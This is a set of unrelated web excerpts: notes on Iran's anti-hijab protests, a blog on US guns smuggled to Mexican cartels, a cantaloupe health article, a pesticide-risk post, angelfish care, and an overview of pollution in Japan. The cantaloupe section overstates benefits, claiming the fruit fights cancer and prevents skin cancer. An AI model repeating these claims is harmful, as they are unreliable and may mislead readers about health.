• prominent human rights attorney Nasrin Sotoudeh told the Center for Human Rights in
• During the Pahlavi regime (1925-1979), Mohammad Reza Shah (the last Shah), with the intention of modernising Iran, had issued a decree banning all Islamic veils.
• This not only clashed with the religious values of the majority, but its forceful implementation also outraged locals.
• Many Iranians, opposed the Pahlavis’ close relationship with Western countries and their material extravagance.
• Mullahs (clerics) denounced the Pahlavi monarchy, as they believed
that it betrayed Iran’s true ideals.
• The resistance snowballed into the 1979 Islamic Revolution, which was led by
Ayatollah Khomeini, an Iranian cleric and opponent of the Shah.
• Khomeini was exiled, and returned to the country in 1979; soon after the Islamic
Republic of Iran was born.
• Following the revolution, the new government under Khomeini introduced its own set of strict domestic laws, mainly for women.
• While acknowledging the crucial role women played in the revolution, the
Khomeini dispensation passed an edictmaking hijab compulsory for all women
• According to the Islamic Penal Code of Iran (1991), “women who appear in public without a proper hijab should be imprisoned from ten days to two months or pay a fine of
50,000 to 500,000 Ryal”.
• This allowed the “morality police” to harass women for any violation of the
country’s dress code.
• The anti-hijab protests that were visible in late 2017 have compelled Supreme Leader
Ali Khamenei to react to the issue.
• the protests were “the outcome of the enemy’s widespread propaganda, and
spending hefty sums in order to influence Iranian women’s attitude towards hijab.
• Recent measures introduced in Saudi Arabia, “Iranians have been… watching fondly the
developments in Saudi Arabia. For a long time, reformists… had been telling the world that Iran
was better than Saudi Arabia in terms of women’s place in society because women can at least drive.
However, with the… reforms in Saudi Arabia, the pressure to open up is also mounting on the
View of IRAN government.
• OIL DEMAND REDUCING-INCREASE in investment—need for social reform.
• INFLUENCE ON CULTURE—globalisation—uniformity of culture
• Interference of western powers Expectations of women.
• Women rights.
• Human rights.
• Cultural freedom.
• LET THE SOCIETY DECIDE.
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<urn:uuid:1100666d-69c3-4e0c-a23b-052990102d31>
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CC-MAIN-2022-33
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https://blog.studyiq.com/anti-hijab-protest-iran-latest-current-affairs-burning-issues/
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s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882572063.65/warc/CC-MAIN-20220814173832-20220814203832-00672.warc.gz
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en
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from InSight - Organized Crime in the Americas
InSight Crime Analysis
The case is an example of a method commonly used by Mexican drug gangs to get weapons, commissioning “straw buyers,” who usually have clean criminal records, to circumvent laws that prevent foreigners from buying guns in the US. Once legally purchased, the guns are smuggled into Mexico. Indeed, last year a high-ranking member of the Zetas told the authorities that all of the group's guns were bought in the United States and smuggled into Mexico across the Rio Grande.Contralinea magazine detailed the routes by which guns are trafficked into Mexico, including the flow of arms from the U.S. directly to Guatemala, and then over Mexico's southern border in a piece from November 2011.
Despite some attempts by the Obama administration to stem the flow of weapons across the border, there is little political will for real reform to US gun control legislation. The furor over the Bureau of Alcohol, Tobacco, Firearms and Explosives' (ATF) botched “Fast and Furious” operation, which critics say allowed guns to “walk” across the border in the hopes of building cases against more high-ranking criminals in Mexico, has made gun control reform an even more heated issue.
For two decades, [Mexico's] southern border has been a port of entry for the weapons that feed the country's black market. There are 956 miles of border between Mexico and Guatemala, where it is enough to arrive to cities like Ciudad Hidalgo, Ciudad Cuauhtemoc, or in border towns like Corozal, Talisman or Carmen Xhan, cross the checkpoints and walk around Tecun Uman, La Mesilla, Peten, El Carmen and Gracias a Dios to be offered weapons. Salesmen in shacks, adobe huts, or in the middle of the street offer the old M-16s and Galils that the Central American civil wars left behind; or more modern weapons, like the M72 and AT4 (anti-tank rockets), RPG-7 rocket-launchers, or 37-millimeter MGL grenade-launchers, with tracers and armor-piercing capacity, sold by catalogue, and a one-week wait before delivery.
The weapons arrive mostly from the United States, through air or maritime routes to Guatemala for distribution in Mexico, Central America, or South America. The advantage that this market offers is that purchases can be made without any middlemen, and that crossing is much easier than on the northern border.
Weapons acquired in Guatemala to supply the black market in Mexico are transported using the “hormiga” method, among the belongings of those who cross the border between the two countries -- identified as one of the most porous in the world. Or, if they are large shipments, they are transported along the Suchiate River, or in secret compartments in vehicles that cross the border, or in collusion with immigration and customs officials.
So, what is it? Are US guns feeding the Mexican Drug cartels,. or is it rubbish?
It sounds more like lax US firearms laws are feeding the drug cartels to me and the NRA is pointing out its policies of fighting any reasonable regulation is the cause.
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CC-MAIN-2016-44
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http://mikeb302000.blogspot.com/2012/07/more-on-mexican-drug-guns.html
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en
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Cantaloupe is known as muskmelon that belongs to cucumber family.
It is light yellow-orange color.
It is available in the summer season. So it proves the best food to enjoy during a hot summer.
It has superb taste, but the taste doesn’t just make cantaloupe best food.
Cantaloupe is dense in nutrition. Nutrition means optimum health.
It is packed with a high amount of Vitamin A, powerful antioxidants that improve eye health.
Due to high antioxidants, it protects cell DNA damage from free radicals and oxidative stress.
- Cardiovascular Health
- Eye Health
- Increase immunity
- Improves eye vision
- Prevent early ageing
- Good for diabetes patient
- Electrolyte level balance
- Reduce and prevent inflammation
See also: 45 Healthiest Fruit List On The Earth
Cantaloupe Health Benefits
1. Eye Health
Cantaloupe provides a high amount of Vitamin A, almost higher than our daily requirement. It is the richest source of Vitamin A than other fruits.
As Vitamin A is antioxidants, it becomes highly preferred food to be consumed to improve eye health.
Due to high antioxidants cantaloupe protect eyes from free radicals.
Also it useful to prevent retinal damage caused due to free radicals. Thus, it improves eye vision and protect from cataract or macular degeneration.
Cantaloupe contains a high amount of Vitamin C.
Vitamin C proves the best nutrient to increase immune system function. It provides immunity to fight common disease like cold and flu.
It is also effective to prevent any infections.
3. Electrolyte balance
As Cantaloupe is rich in potassium, it maintains an electrolyte level.
Cantaloupe is rich in phytonutrient, antioxidants and tannins that prove useful to prevent inflammation of stomach, intestine and cardiovascular system.
Cantaloupe is effective against cancer due to its rich antioxidant content. These antioxidants provide cantaloupe anti-cancer property.
Cancer cells are formed due to free radical produced due to oxidative stress.
But antioxidants are effective to neutralize this free radical effect due to its high ORAC value.
ORAC value (Oxygen Radiance Absorption Capacity) of cantaloupe is 315 micro moles per 100 grams.
See also: Aloe Vera Health Benefits
6. Skin Health and Ageing
A natural factor primarily causes ageing is an increase in age.
But due to pollution, UV radiation and smoke, the ageing process has been stimulated at an early age and it is faster than natural.
The primary cause of ageing is free radical produced in our body due to high oxidative stress caused due to pollution.
But antioxidants have proven to destroy these free radicals to slow the ageing process. It is found that people eating high antioxidant foods have a slow ageing effect than natural.
As cantaloupes contains the highest amount of Vitamin A antioxidants, it proves the best food to prevent early ageing. It is also effective to prevent wrinkles and skin cancer.
It reduces oxidative stress which is beneficial to improve insulin resistance in diabetes patient.
8. Metabolic syndrome
Due to its high amount of antioxidants and anti-inflammatory phytonutrients cantaloupe proves helpful to prevent metabolic syndrome.
9. Cardiovascular Health
Cantaloupe contains a large quantity of potassium that regulates the blood pressure.
It also improves cardiovascular as it maintains cholesterol level i.e. Reduce bad cholesterol and increase good cholesterol.
So it improves the blood flow and reduces the risk of heart attack, stroke and hypertension.
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<urn:uuid:d866a47d-ecb0-4f14-94ec-251d653601be>
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CC-MAIN-2017-04
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http://wiki-fitness.com/health-benefits-of-cantaloupe/
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en
| 0.872622
| 760
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A few days ago, three long-term studies were released that found that a woman’s exposure to organophosphate pesticides during pregnancy could affect IQ and memory in her child 6 to 9 years later. Organophosphates are one of the most commonly sprayed, and most toxic, used today on food crops.
People have long known that organophosphates are neurotoxic at high doses. They were originally developed as nerve-gas agents for chemical warfare.
Studies have long linked chronic, low-level exposure to organophosphates to: ADHD and learning disabilities in children; reduced levels of testosterone and fertility in men; leukemia and lymphoma; increased risk of neurological disorders such as Parkinson’s Disease.
Now, three separate teams of researchers at Mt. Sinai School of Medicine, University of California Berkeley’s School of Public Health and Columbia University’s Mailman School of Public Health have found that a child’s IQ will decrease in direct proportion to the mother’s exposure to organophosphates while pregnant.
Study after study has shown the damaging effect these pesticides have on the developing brain. The EPA had put a few restrictions in place, but the emergence of these three new studies show it isn’t enough. The link between prenatal exposure and long-term cognitive development is clear.
The largest source of organophosphates are fruit and vegetables that have been sprayed with the toxic pesticide.
Reduce exposure to organophosphates by:
- washing all produce thoroughly. All produce.
- buying organically grown produce.
- buying locally grown, in season produce.
If you are unable to buy all organic produce, then just do your best to buy the produce with the highest levels of pesticide use organic. Use this handy Shopper’s Guide from the Environmental Working Group to help you learn about the Dirty Dozen and the Clean 15!
But we can’t stop there. I am sure most of you can guess who the test subjects were for each of these studies? Some were agricultural workers or the family members of agricultural workers, some were mutli-ethnic inner city dwellers. All were low-income.
The Safe Chemicals Act of 2011 is one way we can work to make sure all Americans are safe from the highest risk chemicals, not just ones that can afford to buy organic and live in areas with clean water and clean soil.
Have you contacted your Senator yet? Not sure what to say? Safer Chemicals, Healthy Families has some great tips to use writing a personal letter or phone call. Or simply join in sending a message directly to your Senators.
The American Academy of Pediatrics recognizes that we are not protecting children and pregnant women adequately and support this proposed legislation. It is time Congress did too.
How are you going to make a difference today?
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overviewThe Lemonpeel Angelfish is a cheery yellow with sky-blue highlights on the lips, encircling the eyes, on the pectoral fins, and the tips of the dorsal, caudal, and anal fins. To avoid confusion with the False Lemonpeel Angelfish (C. heraldi) that lacks the blue highlights, this angelfish is also referred to as the True Lemonpeel Angelfish.
The Lemonpeel Angelfish requires a 70 gallon or larger aquarium with hiding places and large amounts of live rock to graze on the microalgae growth. It is very prone to nip at large-polyped stony corals and clam mantles. It is best not to keep Lemonpeel Angelfish with fish of the same genera.
The diet of the Lemonpeel Angelfish should include Spirulina, marine algae, high-quality angelfish preparations, mysis or frozen shrimp, and other meaty items. This angelfish requires more algae and seaweed in its diet than most angels.
Approximate Purchase Size: Small: 1" to 1-3/4"; Medium: 1-3/4" to 2-1/2"; Large: 2-1/2" to 4-1/2"
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ENVIRONMENTAL ISSUES AND POLLUTION IN JAPAN
garbage in the sea off Japan Japan is a beautiful country with a lot natural wonders. The postwar economic miracle turned many parts of Japan into a land of development, factories, pavement and concrete rivers. One survey found that only seven percent of Japan’s sandy beaches are “natural.” The others have some artificial structure such as a tetrapods, levees or bank protection or have been altered in some other way by human activity.
Environmental pollution in Japan has accompanied industrialization since the Meiji period (1868-1912). In the 1960s diseases caused by factory-emitted water and air pollution were found in areas throughout Japan. The strict environmental protection measures that were subsequently implemented have reduced pollution caused by such emissions. Important problems remain to be solved, however, with action being necessary to, for example, reduce greenhouse-gas and particulate-matter emissions and increase recycling of industrial and household waste. [Source: Web-Japan, Ministry of Foreign Affairs, Japan]
In October 2009, a court in Hiroshima ruled against a shore project that would have involved reclaiming land a build a new bridge and roads on the Inland Sea on the grounds that scenic beauty had precedence over public works.
Japan has been credited with putting a lot of effort into reducing some forms of pollution but has been criticized for wreaking havoc on the environment in a number of areas and not forging a coherent long-term environmental policy. Resistance to environmental measures was a hallmark of the policy of Liberal Democratic Party, which ruled until 2009 and forged tight bonds with the businesses and bureaucracy that had traditionally put money, business and jobs ahead of environmental concerns.
Germany, Belgium, the Netherlands, Switzerland, the United States, Japan and Britain are all countries that pride themselves with their strict environmental laws. These countries also lead in the export of hazardous waste to third world countries.
Japan produced 119,998 tons of ozone-depleting CFCs in 1986. Now it produces virtually none.
There is a growing trend for products to bear labels showing their environmental friendliness, with an aim to increase eco-conscious consumers. These include 1) tea bags, featuring a green frog and the words, "Rainforest Alliance Certified," meaning the product is certified by an international environmental protection organization as one using raw ingredients grown on farms that are managed according to rigorous ecological and working environment standards; 2) "Bird Friendly" coffee, certified by the Washington-based Smithsonian Migratory Bird Center as organic coffee produced on farms with trees giving a natural shade cover, providing habitats for birds in tropical areas; and 3) paper products certified by the Forest Stewardship Council (FSC), certifying that the paper products were produced through responsibly managed forests. 4) Even a ham has a label, carrying the Carbon Footprint of Products logo, which shows the quantity of greenhouse gas emissions created during the product's life cycle. [Source: Yomiuri Shimbun, September 21, 2011]
Websites and Resources
Greenpeace Japan report Links in this Website: GLOBAL WARMING, RAIN FORESTS AND JAPAN Factsanddetails.com/Japan ; ENVIRONMENTAL ISSUES AND POLLUTION IN JAPAN Factsanddetails.com/Japan ; RECYCLING AND ENVIRONMENTAL GROUPS IN JAPAN Factsanddetails.com/Japan ; OIL, COAL, NATURAL GAS AND ENERGY IN JAPAN Factsanddetails.com/Japan ; NUCLEAR ENERGY IN JAPAN Factsanddetails.com/Japan ; SOLAR, WIND AND ALTERNATIVE ENERGY IN JAPAN Factsanddetails.com/Japan ; NATURAL RESOURCES AND JAPAN Factsanddetails.com/Japan ; WATER IN JAPAN Factsanddetails.com/Japan
Good Websites and Sources: E-Book: Industrial Pollution in Japan unu.edu/unupress ; Water Pollution Monitoring in Japan gec.jp/CTT_DATA ; Air Pollution Monitoring in Japan gec.jp/CTT_DATA ; Air Pollution in Japan (1964) ncbi.nlm.nih.gov ; Map of Air Pollution in East Asia (Japanese language) gis5.nies.go.jp/eastasia/ConcentrationMap and English Explanation japanprobe.com
Good Websites and Sources on the Environment: Ministry of Environment env.go.jp/en ; National Institute for Environmental Studies nies.go.jp ; Quality of the Environment, a 2003 Report env.go.jp/policy/hakusyo ; Japan for Sustainability japanfs.org ; Japan Times Environment Page japantimes.co.jp ; Essay on Comparing Japan and Britain on Environmental Criteria aboutjapan.japansociety.org ; Wikipedia article on Environmental Issues in Japan Wikipedia ; NPR Story on Public Works and the Environment npr.org/templates/story ; Essay on Japan’s Forests and History aboutjapan.japansociety.org ; Statistics and Research Japan Environment Association jeas.or.jp ; Statistical Handbook of Japan Environment and Life Chapter stat.go.jp/english/data/handbook ; 2010 Edition stat.go.jp/english/data/nenkan ; News stat.go.jp Research Institute of Innovative Technology rite.or.jp ; Aozora.or Aozora.or ; Virtual Center for Environmental Technology Exchange apec-vc.or.jp ; Google E-Book: Japan in the 21st Century, Environment, Economy and Society (2005) books.google.com/books ;
Japanese and the Environment
eco shoppers bag
reduces need for plastic bags The relationship between the Japanese and the environment is full of paradoxes. Their native religion, Shintoism, teaches people to have a deep reverence for nature yet they artificially restructure their Japanese landscape on a grand scale. The Japanese are excellent recyclers but also demand excessive packaging when they buy products. They go through great lengths to save endangered cranes and ibises yet zealously defend their right to eat whales.
Makoto Kurozumi, a professor at Tokyo University who specializes in the history of Japanese thought, believes that compassion for living things has traditionally been one of the most important characteristics of the Japanese people. “The origin of this is a tradition of animism that teaches that everything, including plants and trees, has a spirit. That has cultivated a compassion for all living creatures, in the Japanese,” he said
Takeshi Umehara, the great Japanese anthropologist, observed that the Shinto religion, in which man is regarded as a part of nature, drew from ancient Japan’s “civilization of the forest.” As early as the 17th century the Tokugawa shogunate was involved in reforesting parts of Japan, denuded by development (See Tokugawa Period, History).
Matagi hunters are people who wander through the forests and mountains, making a living from the plants and animals they collect there. Experienced hunters spend more than 100 days a year in the mountains and have maps in their heads. They collect mushrooms in the autumn, kill bears in the winter, pick sasai plants in the spring, catch sweetfish in the summer and know how to protect themselves if attacked by a bear. The last matagi hunters are in their 70s now and they are in danger of becoming extinct.
Measures Against Pollution in Japan
Japan experienced a number of serious forms of environmental pollution from the 1960s to the 1970s. Besides Minamata disease, a series of other pollution-related diseases surfaced, one after another, such as “itai-itai “disease, which broke out in the Jinzu-gawa river basin in Toyama Prefecture; respiratory disorders in the Tokyo-Yokohama, Nagoya, and Osaka-Kobe industrial belts; and chronic arsenic poisoning in the Toroku district in Miyazaki Prefecture. These forms of pollution occurred as a result of the priority placed on rapid economic growth and the downplay of standards to protect people’s health and safety. [Source: Web-Japan, Ministry of Foreign Affairs, Japan]
“The consequences led to Japan’s setting strict regulations to protect the environment from the 1960s onward. The regulation on soot and smoke emissions, enacted in 1962, was absorbed into the Air Pollution Control Law in 1968. The Water Quality Conservation Law and Factory Wastewater Control Law, both enacted in 1958, were integrated into the Water Pollution Control Law in 1970. The Pollution Countermeasures Basic Law passed in 1967 sought to create common principles and policies for pollution control in all government agencies and to promote an integrated effort to clean up the environment.
“The Basic Law indicates the responsibilities of the central government, local governments, and business firms with regard to controlling pollution. In addition, the Basic Law laid the framework for establishing environmental quality standards, drafting pollution-control programs, and aiding victims of diseases caused by pollution. In 1972, no-fault liability for compensation, which holds businesses responsible for health problems resulting from pollution (whether accidental or not), was introduced into various laws.
“In 1993 the Basic Law for Environmental Pollution Control was replaced by the Basic Environmental Law, which was enacted to facilitate implementation of comprehensive and systematic measures to protect the environment. Under this new Basic Law, Japan is actively working to promote environmental preservation worldwide through international cooperation and a rethinking of high-volume consumption practices in society. In 1997 the Environmental Impact Assessment Law was enacted. This law defines requirements for assessment of the environmental impact of large-scale public- and private-sector projects. In 2001 The Environment Agency, which had been created in 1971, was upgraded to cabinet ministry level, becoming the Ministry of the Environment.
Pollution in Japan
Greenpeace Japan at work According to a survey of expatriates living in Asia: India, China, Vietnam, the Philippines, Indonesia and Hong Kong are regarded as the dirtiest countries in Asia, while Singapore, Japan and Malaysia are regarded as the cleanest. Thailand, South Korea and Taiwan are in the middle.
Like China today Japan in the 1950s and 60s placed modernizing industry and raising incomes ahead of the environment and public health. At that time many Japanese cities were filthy. A great deal of pollution was created in Japan by oil refiners and steel and petrochemical plants as Japan quickly industrialized after World War II.
In the 1970s Japan was hit by two oil shocks and a consensus developed that economic growth had be balanced with energy conservation and a clean environment. In 1970, 14 antipollution laws were passed by what became know as the Pollution Diet. These laws set ambitious goals that are credited with cleaning Japan up but were vague and incomplete, leaving out, for example, environmental impact assessment.
Environmental standards were established with the enactment of the Basic Law for the Environmental Pollution Control in 1967. In 1971, the Environmental Agency was set up and efforts top prevent pollution and promote environmental protection began in earnest. The agency became the ministry of Environment when government bodies reorganized in 2001.
For all of its industry Japan is surprising unpolluted. Once I camped on a beach on a beautiful section of coastline. When I woke up the next morning I took a short walk and found a huge coal burning power plant on the other side of small rise that I had even noticed the night before.
Types of Pollution in Japan
Dioxin: Because of the limited land area in Japan, securing space to dispose of trash is a perennial issue. Japan has resorted to burning trash as a matter of necessity. In the 1990s pollution from dioxin released by trash incinerators became a major issue in society. The term “dioxin” refers to the compound tetrachlorodibenzo-p-dioxin, which has a propensity to accumulate in the body and to cause cancer and birth defects. The Law Concerning Special Measures Against Dioxin went into effect in 1999. This law included provisions for dioxin emission regulation, the monitoring of effects on health and the environment, and the preparation of government plans for reducing emissions. Japan achieved its target for dioxin emission reduction in 2004, when emissions were estimated to be approximately 95 percent less than those in 1997. Daily dioxin intake has also been steadily decreasing and is now estimated to be less than the tolerable daily intake level of 4 picograms per kilogram of body weight. [Source: Web-Japan, Ministry of Foreign Affairs, Japan]
Vehicle Emissions: As a result of the imposition of various rules and regulations, considerable progress has been made in limiting air pollution from factory smokestacks, but in Japan’s major cities air pollution from the nitrogen oxides and particulate matter emitted by motor vehicles continues to cause health problems. The majority of the particulate matter and approximately 80 percent of the nitrogen oxides emitted by motor vehicles comes from diesel engines. To address this problem, in 2002 the national government implemented legislation adding particulate matter restrictions to existing nitrogen oxide restrictions. In addition, restrictions that apply to trucks, buses, and diesel passenger cars limit the types of vehicles that can be operated in designated major metropolitan areas. Dissatisfied with the pace of national government efforts to reduce air pollution, in 2003 Tokyo, Saitama, Chiba, and Kanagawa prefectures implemented even stricter rules covering the particulate matter emissions of diesel trucks and buses. Vehicles that do not meet the new standards have to be replaced or have special filters installed.
High-Tech Pollution in Japan : Another issue in Japan is environmental pollution that is caused by high-tech pollution created by cutting-edge industries, such as integrated circuit production. Ground water pollution is caused by solvents. Examples are trichloroethylene, used for washing integrated circuits, and tetrachloroethylene, used largely in dry cleaning. Both of these chemicals are carcinogenic. The Water Pollution Control Law, revised in 1989, incorporated regulations to restrict toxic substances in ground water, including these two. A further revision, in 1996, granted governors the power to order the polluter to be responsible for clean up.
“Pollution caused by natural disasters”: The Great East Japan Earthquake and the accompanying tsunami in March 2011 damaged at least 270,000 buildings. The rubble and debris left behind, including ruined boats, cars, etc., plus those washed up on the shore, were in excess of 24 million tons. The national government took prompt measures to collect and dispose of this waste on behalf of the affected towns and villages, and covered the costs of the clean up by local governments. The government has also been monitoring the environment, measuring radioactivity in the air and water, following the leak of radioactive substances after the accident at the Tokyo Electric Power Company's Fukushima Daiichi Nuclear Power Station, which was knocked out by the tsunami.
The government has taken measures to cope with a variety of other forms of pollution and environmental disruption, including noise, vibration, ground subsidence, offensive odors, and pollution by agricultural chemicals. The number of complaints about noise is greater than for any other type of pollution. The greatest number of complaints concern noise from factories, but construction, traffic, airport, and railroad noise have all generated a considerable number of complaints.
Air Pollution in Japan
clean energy production Air pollution includes particles of soot, organic hazardous material, heavy metals, acid aerosols and dust. The smaller particles are sometimes more dangerous because they are more easily inhaled and go deeper into the lungs.
Pollution in Japan was much worst in the past than it is now. In the early 60s traffic policeman used to carry small cylinders of oxygen with them for a reprieve from the heavy doses of car exhaust fumes they breathed in ever day. Many people in Tokyo wore gas masks and bought oxygen from vending machines. An electric sign near the Ginza gace the time and temperature as well the current sulphur dioxide, carbon monoxide and noise levels in decibels.
Around 1970 children were collapsing on playgrounds and doctors were busy taking care of patients with a respiratory disease called "Yokkaichi asthma." When the situation was no longer tolerable the government began offering tax breaks for pollution-reduction measures and companies took measures in their own realizing it was more cost-effective to have healthy workers.
See Global Warming
Air Pollution Reduction in Japan
Air pollution in Japanese cities decreased markedly between 1967 and 1985. Laws passed in 1970 helped reduce the levels of sulphur dioxide emissions by 78 percent in 10 years.
The Tokyo government passed a law that went into effect in October 2003 that required drastic reductions in emissions from diesel powered vehicles. Tougher regulations went into effect in 2008 limit the amount of nitrogen oxide and particulate matter emission by diesel engines. Strict laws for automobile and motorcycle emissions have been in place for some time. There are plans to make them tougher.
In February 2002, a team of university and start-up businesses announced that it had developed a purifier made from substances extracted from Japanese cypress trees that removes 90 percent of the pollutants from diesel exhaust. The invention was hailed a great breakthrough.
Air Pollution in Japan from China
pollution over east China A number of prefectures are issuing an increased number of photochemical smog warning, in one case causing the canceling of athletic events at 85 primary schools. The increases are believed to be linked to pollution from China. Photochemical smog includes ozone, nitrogen oxides and hydrocarbons — derived from vehicle exhaust, factory smoke and other sources — that react to sunlight, creating photochemical oxidants, namely ozone.
On study found that 40 percent of the pollutants observed in the Kyushu region in May 2007, when levels of photochemical smog were particularly high, originated in China and 30 percent of those observed in the Tokyo area at that time were also from China.
Photochemical pollution can cause headaches, loss of consciousness and other problems for people who spend long hors outside and can cause coughing and eye irritation in less serious cases. Photochemical The readings have been particularly high in Kyushu.
Emissions of nitrogen oxide in China and other Asian countries has doubled since 1985 and is expect to rise 1.4 times by 2020. By some estimates half the oxidant emissions such as ozone in Japan originate in China.
Acid snow and acid rain with acid from China is blamed for killing pine trees in northern Honshu. In the autumn of 2005 an acidic mist with a ph of 3.2 — the same as culinary vinegar — was detected in the mountains of Toyama. The reading was from sulfuric acid formed from sulphur dioxide, Since emissions of sulfur dioxide are minimal in Japan it was assumed the acid came from China. So much acidic mist appears in the Toyama area that 12 percent of conifers growing at the 2,000-meter elevation mark in mountains are damaged and 40 percent of those at the 1,500-meter mark are blighted.
See Yellow Dust, Weather
Water Pollution in Japan
Only about 36 percent of Japanese household are hooked up to sewers, compared to 97 in the United Kingdom and 65 percent in France.
Emissions of organic pollutants into water (millions of pounds a day): 11.7 in China; 5.5 in the United States; 3.4 in Japan; 2.3 in Germany; 3.2 in India; 0.6 in South Africa; and 0.4 in Mexico.
In the 1960s rivers in Japan were fouled by sewage, household wastewater and other pollutants. Some of the rivers in the Tokyo area were comprised of black water with white foam floating in thick layers at the top. Around some rivers children came down with bone diseases that deformed their limbs. In the 1970s the bay outside Kitakyushu was called the "Sea of Death." Its brownish-green water looked like waste from a crankcase. Rules and regulations imposed in the 1970s on sewage systems and drainage water greatly improved water quality. Some urban rivers in Japan are nw surprisingly clean.
Many urban rivers are polluted with high concentrations of E. Coli bacteria and people who swim in them risk getting sick.
The Sea of Japan between Japan and Korea is slowly dying. Fish catches are growing smaller every year. The problem is blamed on overfishing, exacerbated by competition between Japan, Korea, Russia and China, pollution and an increase in sea temperatures, caused perhaps by global warming.
Salmon returning to Japanese rivers have been found to have high levels of DDT and other highly toxic chemicals. DDT and the other chemicals have not been used in Japan for some time but are still used in southern Asia and may have contaminated waters ff off Japan.
Combatng Water Pollution in Japan
Freshwater mussels are being used to clean up dirty rivers in Japan. Capable of cleaning 180 liters of water a day, the Ikechogai mussels clean the water by consuming diatoms and other phytoplankton that feed on nitrogen and phosphorus. Although the water quality of some very dirty rivers’such as the Dotonborigawa River in downtown Osaka, where the mussels have been used — has improved the water is still not clean enough to swim in. Some of the mussels produce pearls.
In March 2008, clams were taken from Tokyo Bay for the first time in 40 years. The restoration of the clamming industry which ceased in 1969 because of water pollution and other reasons is a sign that the water quality in Tokyo Bay is improving.
The Kyu-Otagawa River, which flows through central Hiroshima, for a long time was mainly known for its contaminated water, sludge and foul smell. That is, until a few years ago when the river was dramatically cleaned up using “infiltration pillars” made from used coal ash from power plants which decomposes noxious sludge, gets rid of bad smells and makes the water clean enough to be inhabited by a variety of water creatures such as crabs and freshwater clams.
Toxic Materials in Japan
natural-gas-powered garbage truck Japan has a lot of factories. A lot of toxic materials are needed to produce all the goods that Japan produces and large amounts of toxic materials are left over when the products are produced. Toxic materials include leftover construction material, chemicals from factories, and even left over office equipment.
Concerns over PCB-laden florescent lighting units in schools became an issue when a condenser overheated in a school in western Tokyo, causing the lights to explode and spray toxic powders and chemicals on the heads of the students in an art class.
Mirex, a highly persistent and toxic organic pollutant, has been found in animals in Japan even though its use is banned. Some think that the pollutant has been brought in by high altitude winds or have leaked from underground dumps. About 3,690 tons of organic-chlorine insecticides including DDT, banned since 1970s, were buried without being detoxified in 174 location in Hokkaido and 30 prefectures.
Big companies have been involved in the dumping of toxic materials. Nissan dumped tons an oily toxic greasing agent at an abandoned aerospace factory in western Tokyo that wasn't discovered until construction began on a new park and condominiums at the site. Mitsubishi dumped cancer-causing chemicals near some factories outside Tokyo and had to warn local people not to drink the well water in the area. Sumitomo Metal Industries had to remove 15,000 tons of contaminated soil before construction could begin on Universal Studios amusement park in Osaka.
In August 2008, 13 people were hospitalized, complaining of feeling unwell, after toxic phosgene gas — used to make chemicals and drugs — leaked from a factory in Aizu-Wakamatsu. Fukushima Prefecture. A toxic gas leak of hydrogen fluoride from a chemical plant in Sakai, Osaka caused 23 people to suffer eye and throat injuries.
Illegal Dumping Toxic Materials in Japan
The illegal dumping of toxic chemical is a big issues. Material are often disposed of at clandestine sites with the help of the yakuza (the Japanese mafia). Estimates of the amount if illegal waste disposal ranges from 320,000 tons to 32 million tons a year. Some of the sites are quite dangerous. Some give off awful smells from toxic gasses created from chemical reactions of the waste materials. Some often gases are quite poisonous, even deadly.
The illegal dumping racket reportedly involves three different groups of people: the brokers who make the deals, the excavators who create the sites and truckers who haul the stuff. Each truck driver receives between $700 and $1200 per trip. Of this about half goes to the manager of the site. They in turn are believed to pay are large chunk of their income to organized crime for protection and arranging the deals.
Mercury and Minamata Bay
Famous 1971 Minamata Bay photo
by William Eugene Smith In 1950, the Chisso chemical company knowingly dumped large amounts of organic mercury and other heavy metal compounds into Minamata Bay in western Japan, poisoning fish and resulting in a generation of deformed babies. More than 1,200 people were killed and thousands were sickened or disabled. The tragedy was given worldwide through the famous photographs of Minamata victims by W. Eugene Smith published in Life magazine in 1971 (for his trouble Smith was severely beat up and permanently injured by Chisso thugs). Publicity of the Minamata Bay issue helped mobilize a grassroots environmental movement in Japan. [Book: “Minamata: Pollution and the Struggle for Democracy in Postwar Japan” by Timothy George (2001, Harvard)]
Timothy George wrote in “Minamata: Pollution and the Struggle for Democracy in Postwar Japan”, "Minamata is a story not just of the environment and human costs of rapid 'modernization,' but also of a callous and murderous corporation hiding its guilt; of collusion and confusion at all levels of government and society, including the scientific community and the media, that allowed the tragedy to happen and then be covered up."
The government told people fish were safe to eat and Chisso continued to dump mercury in the Minamata Bay even after they knew that fish and fisheaters, including cats suddenly struck with fits of "dancing," were being poisoned.
Chisso built a water treatment plant that did nothing to remove the mercury. To show the water was safe one Chisso executive drank "treated" waste water but the water in fact was uncontaminated water from another source. Chisso executives were was so greedy that when high levels of mercury were found in the bay they decided to mine the sediments for mercury rather than clean the water. Chisso was not forced to accept legal responsibility and financially compensate the victims until 1973.
In October 2004, a high court found the national and local government responsible for not taking action to halt the spread of mercury in Minamata Bay. There is still mercury in the waters on the Shiaranui Sea. By some estimates more than tow million people have experienced some kind of Minamata poisoning since the 1950s.
Legislation has been passed that expands the definition of a Minamata disease victim and recognizes more people who have it and provide compensation for them. A check up 1,051 people in Minamata in 2009 who had not received any compensation at that point revealed that 357 had symptoms of mercury poisoning such as numbness to the extremities and another 603 had certain neurological symptoms.
In March 2010, unrecognized suffers of Minamata disease agreed to settle a long-standing lawsuit by accepting a lump sum of ¥2.1 million and monthly medical allowances of between ¥12,900 and ¥17,700 per person. The number of people that could be covered may reach 35,000. As of March 2011, 40,000 unrecognized suffers had applied for compensation. At that time three Minamata groups ended their lawsuit and said they would end their case and not file suits for damages.
Minamata Bay Declared Safe
The governor of Kumamoto Prefecture declared the mercury levels in fish and shellfish from Minamata Bay safe for consumption on July 29, 1997. The governor’s declaration marked the complete removal of the net that had for 23 years prevented mercury-polluted fish in the bay from entering the sea in an effort to curb the environmentally induced malady known as Minamata disease. [Source: Web-Japan, Ministry of Foreign Affairs, Japan]
“Organic mercury (a methylmercury compound) was released from the Chisso Minamata Plant into Minamata Bay for more than 30 years up until 1966, contaminating both people and animals. The major symptoms of Minamata disease (organic mercury poisoning) are tremors (involuntary trembling or quivering), numbness of and sensory impairments in the limbs, muscular coordination failure, speech and language disorders, narrowing of the field of vision, and loss of equilibrium. Between August 1964 and July 1965, people exhibiting symptoms similar to the Minamata disease victims also appeared in great numbers in the lower part of Agano River basin in Niigata Prefecture.
